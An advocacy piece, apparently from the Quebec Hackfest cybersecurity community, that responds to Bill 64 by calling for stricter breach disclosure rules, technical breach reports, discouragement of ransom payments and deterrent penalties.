<p>Quebec is on its way to becoming a champion of security breaches. Many companies and organizations, such as Promutuel, the STM, the Ordre des Ingénieurs du Québec, HelpOX and many others, are falling victim to criminal groups using ransomware and other computer tools that allow them to steal data and extort their victims. Most of these breaches are not disclosed to the public, and a large number of these victims pay the ransoms. It is a lucrative market and, without a concerted response, it will only keep growing.</p>

<p>The Hackfest community is made up of people interested in cybersecurity. They are individuals who want to share their knowledge in the fields of information technology and cybersecurity. What we have in common is an awareness of the risks we are all exposed to when personal information is leaked. We care deeply about respecting confidentiality and security, and about putting appropriate measures in place to preserve them. We are speaking out because we believe this goal can be achieved through collaboration and greater transparency.</p>

<h2 id="disclosure-obligation">Disclosure obligation</h2>

<p>Bill 64 is a step in the right direction. It will set out the obligation to disclose when a company is the victim of a security breach. We welcome the requirement to put clear privacy policies in place and the fact that the operator of a business is made responsible for protecting the personal information it holds.</p>

<p>Unfortunately, it seems to us that it leaves a lot of leeway to companies that want to avoid the obligation to disclose a “confidentiality incident.” The bill stipulates that a company is required to notify the Commission and the affected person only if the incident causes “serious injury.” We are currently seeing breaches, and their severity, being trivialized. We believe the balance should tip the other way, and that every “confidentiality incident” should be reported unless doing so would cause “serious injury.”</p>

<h2 id="knowledge-sharing-as-a-means-of-defence">Knowledge sharing as a means of defence</h2>

<p>It is rare for a company to disclose the technical information surrounding security breaches. Yet the community would benefit from a more open sharing of this information. While taking into account the need not to disclose sensitive or harmful information, a technical report should be required. What means did the criminals use? What software or organizational vulnerabilities were exploited? What types of data were stolen? How was the breach discovered?</p>

<p>Bill 64 provides for an obligation to take “reasonable” measures to ensure the security of personal information. These measures come at a cost. It would be interesting to know what percentage of their budget organizations and companies devote to cybersecurity. This information would allow customers to make an informed choice by choosing the companies that truly care about the security of their data.</p>

<h1 id="discouraging-ransom-payments">Discouraging ransom payments</h1>

<p>Ransomware is a lucrative business. As long as we pay, we will continue to be the victims of these attacks. Moreover, it is misguided to rely on criminal groups’ promises to destroy stolen data. A victim who pays once is a prime target for a second attack.</p>

<h1 id="deterrent-administrative-and-monetary-penalties">Deterrent administrative and monetary penalties</h1>

<p>We are pleased to see monetary penalties introduced in Bill 64. Unfortunately, as long as the cost of inaction remains lower than the cost of an effective cybersecurity program, some will prioritize inaction. Penalties must be deterrent and large enough to encourage companies that do not take the threat seriously to invest adequately in cybersecurity.</p>

<p>We are aware that not all companies have the same means. However, keeping personal data is a choice that comes with responsibility. These penalties should therefore be paired with the possibility for SMEs to benefit from consulting services suited to their means.</p>

<p>Security breaches and data leaks are part of the new reality. The consequences for affected companies and their customers are serious. It is therefore essential to take this threat seriously and put the necessary measures in place to stem this scourge.</p>
]]></content:encoded>
    </item>
  </channel>
</rss>

